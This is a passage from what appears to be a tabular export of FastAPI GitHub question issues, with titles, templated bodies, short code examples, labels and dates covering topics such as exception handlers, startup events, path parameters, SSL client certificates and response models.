  File ""c:\Users\vvale... [TRUNCATED]","question,answered,question-migrate",2022-10-19T06:09:51Z,2023-02-27T21:26:26Z,4
tiangolo/fastapi,1413412190,How to setup different exception_handler's for different routes or http_handlers?,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI

app = FastAPI()


@app.exception_handler(RequestValidationError)
async def validation_exception(request, exc):
    return Response(
        content='Incorrect symbol',
        media_type=""text/html"",
        status_code=404
    )


@app.get('/')
def foo(q: str = Query(regex='^[0-9]+$')):
   pass

@app.post('/')
def bar(q: str = Query(regex='^[0-9]+$')):
    pass
```


### Description

I can add `@app.exception_handler(RequestValidationError)` for all Validation Errors like in code above. How to add different exception_handler's to get (foo()) and post (bar()) handlers with same ... [TRUNCATED]","question,investigate,question-migrate",2022-10-18T15:16:27Z,2023-02-28T15:42:56Z,5
tiangolo/fastapi,1413188287,Hardware requirements for FastAPI,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
not code related
```


### Description

I am running my web server in my Raspberry Pi 4 8GB RAM, and it's working fine. But now I want to run the same project in a  Raspberry Pi 4 2GB RAM (4GB and 8 GB) aren't available on the local market. 
Is there any possibility it wont be able to run sufficiently?


### Operating System

Linux

### Operating System Details

Raspberry pi OS 64bit

### FastAPI Version

0.85.0

### Python Version

3.10.6

### Additional Context

_No response_","question,answered,question-migrate",2022-10-18T13:00:38Z,2023-02-27T21:26:22Z,9
tiangolo/fastapi,1412951769,Initialize Singleton class in FastAPI startup event not working,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI
from config.ConfigLoader import ConfigLoader # Here ConfigLoader is singleton class

app = FastAPI()

APP_VERSION = ""v1""

app.include_router(SegmentRoute.router)

@app.on_event(""startup"")
async def startup_event():
    ConfigLoader(APP_VERSION).get_instance()

# some other file
ConfigLoader().get_instance() # this code is been called first before fastAPI's startup event
```


### Description

Start the app with `uvicorn main:app --reload`

I want to create a single object of my singleton class from FastAPI's startup event. But the similar code i wrote in some other `py` file which should return created obje... [TRUNCATED]","question,answered,question-migrate",2022-10-18T10:18:58Z,2023-02-27T21:26:18Z,5
tiangolo/fastapi,1412767347,How to use Pydantic BaseModels with numpy.ndarray as the response_model,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
class ControlValueExt(BaseModel):
    value: Union[int, str, numpy.ndarray]

    class Config:
        arbitrary_types_allowed = True

...

    @staticmethod
    def get_control(
        ctrl_id_or_name: Union[int, str], device: str = DEF_DEVICE
    ) -> ControlValueExt:
        """"""Get v4l2 control value from video device""""""
        try:
            cam = Camera._get_camera(device)
            ctrl_val = cam.get_ext_control(ctrl_id_or_name)
        except Exception as e:
            raise e

        return ControlValueExt(value=ctrl_val.value)

...

@app.get(
    V4L2_ROUTE + ""control/{ctrl_id_or_name}"",
    response_model=Co... [TRUNCATED]","question,answered,question-migrate",2022-10-18T08:10:57Z,2023-02-27T21:26:15Z,3
tiangolo/fastapi,1412627823,Application does not start up when combining a FastAPI docker image with a MySQL docker image in Linux CentOS.,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

**main.py**

```
""""""
Running this file will start-up the API. It imports the 
requisite modules, instantiates the fastapi app, configures the app, 
instantiates the Api and adds the resources to the API.

Attributes:
    app (FastAPI): The fastapi app. 
""""""

from fastapi import FastAPI
from database import db
from endpoints import ingredient, recipe, recipe_ingredient

app = FastAPI()

app.include_router(ingredient.router)
app.include_router(recipe_ingredient.router)
app.include_router(recipe.router)

@app.on_event(""startup"")
async def startup():
    await db.connect()

@app.on_event(""shutdown"")
async def shutdown():... [TRUNCATED]","question,question-migrate",2022-10-18T06:11:15Z,2023-02-27T21:26:12Z,2
tiangolo/fastapi,1412205269,Unprocessable Entity error in Pytest despite conventional curl request works,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from enum import Enum
from typing import Optional

from pydantic import BaseModel, Field, root_validator


class OrderBy(str, Enum):
    ascending = 'ascending'
    descending = 'descending'


class BaseGet(BaseModel):
    order: Optional[OrderBy]
    order_name: Optional[str]
    search_string: Optional[str]

    class Config:
        use_enum_values = True
        orm_mode = True

    @root_validator
    def validate_date(cls, values):
        if not values[""order""]:
            values[""order_name""] = None
        return values


class GetWithSkipLimit(BaseGet):
    skip: int = 0
    limit: int = Field(default=10, le=10... [TRUNCATED]","question,answered,question-migrate",2022-10-17T20:46:52Z,2023-02-27T21:26:08Z,7
tiangolo/fastapi,1411535581,Path parameter with List,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
@app.get(
    V4L2_ROUTE + ""controls/{ctrl_list}"",
    response_model=List[ControlValue],
    tags=[Tags.controls],
)
def get_controls(
    ctrl_list: List[str],
    params: CommonParams = Depends(),
) -> JSONResponse:
    """"""Get v4l2 controls""""""
    return Camera.get_controls(ctrl_list, params.dev)
```


### Description

When trying to declare a route with a Path parameter which is a List I get the following error: `AssertionError: Path params must be of one of the supported types`

But from what I can see it should be possible to have Lists in the Path: https://stackoverflow.com/questions/2602043/rest-api-best-practice-how-to-accept-lis... [TRUNCATED]","question,question-migrate",2022-10-17T12:57:47Z,2023-02-27T21:26:04Z,5
tiangolo/fastapi,1410266701,Custom response does not include headers set in dependencies,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
import fastapi


def set_custom_header(response: fastapi.Response) -> None:
    response.headers[""X-Custom-Header""] = ""Testing Response Dependencies""


app = fastapi.FastAPI(dependencies=[fastapi.Depends(set_custom_header)])


@app.get(""/response"")
def response():
    return {""status"": ""ok""}


@app.get(""/custom_response"")
def custom_response():
    return fastapi.responses.JSONResponse({""status"": ""ok""})
```


### Description

When an endpoint returns an explicit `Response` headers set in dependencies are not set. However, if one returns the plain data and relies on the default response then the headers are included.

With the examp... [TRUNCATED]","question,answered,question-migrate",2022-10-15T19:19:55Z,2023-02-27T21:26:01Z,6
tiangolo/fastapi,1410156369,FastApi doesn't see schema (BaseModel?),"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI
from pydantic import BaseModel

class SimpleText(BaseModel):
    text = str

app = FastAPI()

origins = [""*""]

app.add_middleware(
    CORSMiddleware,
    allow_origins=origins,
    allow_credentials=True,
    allow_methods=[""*""],
    allow_headers=[""*""],
)


@app.put(""/known_words"")
async def change_known_words(data: SimpleText):
    return data
```


### Description

FastApi doesn't see any schema in my BaseModel (not only in the docs but in  requests too). It seems that for RestApi schema is empty which is not true. I experimented by adding more fields and types but same effect.

### Operating Syste... [TRUNCATED]","question,question-migrate",2022-10-15T12:46:11Z,2023-02-27T21:25:58Z,3
tiangolo/fastapi,1407851863,Obtain SSL client certificate from FastAPI request,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
@app.get(""/"")
async def get_root(request:Request):
  # how do I obtain the DN from the SSL client cert?
  return ""hello""
```


### Description

uvicorn provides the SSL front end and manages client certificates, i.e. 

```
uvicorn.run(
  ""main:app"", host=""0.0.0.0"", port=8443,
  ssl_cert_reqs=2, 
  ssl_ca_cert=""/path/to/certs.cert"",
  ssl_keyfile=""/path/to/keyfile"", 
  ssl_certfile=""/path/to/certfile""
)
```

But there appears to be no way to extract the Distinguised Name from the client certifcate within FastAPI, which I assume means uvicorn does not pass it.



### Operating System

Linux

### Operating System Details

Ubuntu, but an... [TRUNCATED]","question,investigate,question-migrate",2022-10-13T13:55:05Z,2023-02-28T15:42:53Z,1
tiangolo/fastapi,1405993948,not accepting a dict in request body with a csv upload,"### First Check

- [ ] I added a very descriptive title to this issue.
- [ ] I used the GitHub search to find a similar issue and didn't find it.
- [ ] I searched the FastAPI documentation, with the integrated search.
- [ ] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [ ] I already read and followed all the tutorial in the docs and didn't find an answer.
- [ ] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [ ] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [ ] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [ ] I commit to help with one of those options 👆

### Example Code

```python
async def upload_csv(csv_file: UploadFile = File(...), data: dict = Body(..., example={})):
    pass
```


### Description

1) request body with upload file
2) add a dictionary also to the dictionary body
3) it keeps giving error 'is not a valid dict'

### Operating System

macOS

### Operating System Details

_No response_

### FastAPI Version

0.85

### Python Version

3.10.7

### Additional Context

_No response_","question,answered,question-migrate",2022-10-12T10:50:14Z,2023-02-27T21:25:55Z,5
tiangolo/fastapi,1405828669,response_model doesn't work when using default_factory,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from typing import List

from fastapi import FastAPI
from pydantic import BaseModel, Field

app = FastAPI()


class Schema(BaseModel):
    business: List[str] = Field(default_factory=list)


@app.get(""/test"", response_model=Schema)
def test():
    return {}
```


### Description

expect: {""business"": []}

actually: {""business"": None}

### Operating System

Linux

### Operating System Details

_No response_

### FastAPI Version

0.81.0

### Python Version

3.8

### Additional Context

_No response_","question,investigate,question-migrate",2022-10-12T08:53:00Z,2023-02-28T15:42:50Z,6
tiangolo/fastapi,1405452059,"Is there a Python type related bug here, due to the operator ""+"" not supporting the addition of [int] and [str]?","### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
# fastapi/docs_src/python_types/tutorial003.py

def get_name_with_age(name: str, age: int):
    name_with_age = name + "" is this old: "" + age
    return name_with_age
```


### Description

I am currently doing some research on the security of Python type. 
Is there a Python type related bug here, due to the operator ""+"" not supporting the addition of [int] and [str]?
`"" is this old: "" + age`
Will it affect your code security?

I sincerely hope that I can help Fastapi become stronger and safer

### Operating System

Linux

### Operating System Details

_No response_

### FastAPI Version

0.85.0

### Python Version

3.10.6

### Additional Con... [TRUNCATED]","question,answered,question-migrate",2022-10-12T02:12:33Z,2023-02-27T21:25:50Z,8
tiangolo/fastapi,1403424340,My PullRequest (translation of documentation) broke units tests...,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
N/A
```


### Description

I translated a page of the documentation in french, and make a Pull Request : 
https://github.com/tiangolo/fastapi/pull/5477

And the CI/CD shows 2 problems with the Unit Test (for the 3.7 and 3.9 plateform) : 
https://github.com/tiangolo/fastapi/actions/runs/3215376279/jobs/5256425256
https://github.com/tiangolo/fastapi/actions/runs/3215376279/jobs/5256425208

I don't understand why (I just add .md file).

The log explains : 

```
        modulename = ""anyio._backends._"" + asynclib_name
        try:
>           return sys.modules[modulename]
E           KeyError: 'anyio._backends._trio'

/opt/hostedtoolcac... [TRUNCATED]","question,question-migrate",2022-10-10T16:19:16Z,2023-02-27T21:25:46Z,7
tiangolo/fastapi,1402486312,How to fetch mysql timestamp column?,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import Depends, FastAPI, HTTPException
from sqlalchemy.orm import Session
import uvicorn
from sql_app import crud, models, schemas
from sql_app.database import SessionLocal, engine

models.Base.metadata.create_all(bind=engine)

app = FastAPI()


# Dependency
def get_db():
    db = SessionLocal()
    try:
        yield db
    finally:
        db.close()



@app.get(""/customers/{cid}"", response_model=schemas.Customer)
def read_user(cid: int, db: Session = Depends(get_db)):
    db_user = crud.get_customer(db, cid=cid)
    if db_user is None:
        raise HTTPException(status_code=404, detail=""Customer not found"")
... [TRUNCATED]","question,question-migrate",2022-10-10T01:43:38Z,2023-02-27T21:25:42Z,5
tiangolo/fastapi,1402299111,"About ""UploadFile""","### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
@PostRouter.post(""/file"", response_model=Response)
async def UploadSmall(request: Request,
                      document: UploadFile = File(..., alias=""document""),
                      password: Union[str, None] = Body(default=None,
                                                        min_length=4,
                                                        max_length=11,
                                                        alias=""password"")):
    headers = request.headers
    cl = int(headers[""content-length""])
    if cl > int(Configs[""FILE""][""MAXSIZE""]):
        return FileUploadFail(Msg=""超过最大文件限制大小"")
    if document.content_type not... [TRUNCATED]","question,question-migrate",2022-10-09T14:53:58Z,2023-02-27T21:25:38Z,3
tiangolo/fastapi,1402100976,Reading request body in dependency without Stream closed error,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
#dependencies.py
async def log_request_info(request: Request):
    request_body = Body(request)
    logger.debug(""Received request"", extra={""data"": request_body.default})

#inside some ApiRouter
router = APIRouter(dependencies= [Depends(log_request_info)])
```


### Description

I had a problem with creating generic system of logging all requests and responses. I have problem with logging request's body.

Currently I am doing something like in the example code 
I have read doc for Fastapi and didn't find anything to get whole body inside dependency without getting weird Stream Closed errors. 

Is the code provided h... [TRUNCATED]","question,answered,question-migrate",2022-10-09T00:11:21Z,2023-02-27T21:25:34Z,6
tiangolo/fastapi,1401411365,Receiving NULL when using fastapi with flutterflow,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
#this section will be for providing an API for the application

#system imports
import os
import sys
import psycopg2
import pandas as pd
import datetime as dt
import uvicorn 
from typing import Union
import fastapi 
from fastapi import FastAPI, Depends, HTTPException
from fastapi.security import OAuth2PasswordBearer
from fastapi.encoders import jsonable_encoder
from fastapi.responses import JSONResponse
import json
from starlette import status
from pydantic import BaseModel
import warnings
warnings.filterwarnings(""ignore"")

#the os path to the folder to the ocular-git master folder
dir_path = os.getcwd()
#the sub path to the pa... [TRUNCATED]","question,question-migrate",2022-10-07T16:18:57Z,2023-02-27T21:25:31Z,2
tiangolo/fastapi,1400806378,Rename 'additionalProp1' in docs to a more descriptive one,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI
from pydantic import BaseModel, Field, parse_obj_as

app = FastAPI()

City = str  # a type alias

class Misc(BaseModel):
    content: dict = Field(description=""All other data here."")

class CompanyDataOut(BaseModel):
    __root__: dict[City, Misc]

@app.post(""/"", response_model=CompanyDataOut)
async def test():
    m = Misc(content={})
    return {""New York"": m}
```


### Description

Open the docs.

It shows response example as:
```
{
  ""additionalProp1"": {
    ""content"": {}
  },
  ""additionalProp2"": {
    ""content"": {}
  },
  ""additionalProp3"": {
    ""content"": {}
  }
... [TRUNCATED]","question,answered,question-migrate",2022-10-07T08:22:17Z,2023-02-27T21:25:28Z,7
tiangolo/fastapi,1400319944,Passing `scoped_session` method dependency to path dependency triggers `Invalid args for response field` pydantic error,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from typing import Any

from fastapi import APIRouter
from fastapi import Depends
from pydantic import BaseModel
from sqlalchemy import create_engine
from sqlalchemy.orm import scoped_session
from sqlalchemy.orm import sessionmaker

DB_URL = ""some_db_url""

class TestSuccess(BaseModel):
    message: str = ""Test success""
    code: int = 200
    param_1: str


router = APIRouter(prefix=""/test_router"")

def get_db_session() -> scoped_session:

    engine = create_engine(DB_URL)
    session_maker = sessionmaker(bind=engine)
    db_session = scoped_session(session_maker)

    return db_session

def query_db(para... [TRUNCATED]","question,question-migrate",2022-10-06T21:26:55Z,2023-02-27T21:25:24Z,5
tiangolo/fastapi,1399287649,64 bit integers,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI

app = FastAPI()

@app.get(""/"")
def read_root():
    return {f""{2**61}"": 2**61}
```


### Description

trying to return a long integer value (e.g., 2**61)
numbers are rounded to next 1,000

the output of the code is:
```python
{
  ""2305843009213693952"": 2305843009213694000
}
```

### Operating System

Linux

### Operating System Details

Ubuntu 22.04 (in WSL2 / Windows-11)

### FastAPI Version

0.85.0

### Python Version

3.9.13

### Additional Context

_No response_","question,question-migrate",2022-10-06T10:16:01Z,2023-02-27T21:25:19Z,9
tiangolo/fastapi,1398172179,`Request` provided as argument can be different from actual one,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
import fastapi
import fastapi.exception_handlers
import fastapi.testclient
import starlette.exceptions


app = fastapi.FastAPI(root_path=""/api"", title=""Custom root path problem"")
router = fastapi.APIRouter(prefix=""/api"")


@app.exception_handler(starlette.exceptions.HTTPException)
async def http_handler(request: fastapi.Request, exception: fastapi.HTTPException):
    print(""HTTP error: "", exception.detail, ""; URL in the request object:"", request.url)
    response = await fastapi.exception_handlers.http_exception_handler(request, exception)
    return response


@app.exception_handler(Exception)
async def exception_... [TRUNCATED]","question,answered,reviewed,question-migrate",2022-10-05T18:08:00Z,2023-02-27T21:25:15Z,8
tiangolo/fastapi,1396106787,Unclosed socket due to spawn child processes using multiprocessing,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
import multiprocessing
import os
import time

import uvicorn
from fastapi import FastAPI

app = FastAPI()
processes = []


def keep_alive_process():
    while True:
        print(f""process {os.getpid()} is alive"")
        time.sleep(1)


@app.post(""/start"")
async def start_processes():

    for i in range(4):
        process = multiprocessing.Process(target=keep_alive_process,
                                          args=())
        processes.append(process)
        process.start()

    return {'status': 'started'}


@app.post(""/stop"")
async def stop_processes():

    for process in processes:
        process.kill()... [TRUNCATED]","question,investigate,question-migrate",2022-10-04T11:28:23Z,2023-02-28T15:42:47Z,1
tiangolo/fastapi,1395918343,MJPEG endpoint in /docs,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
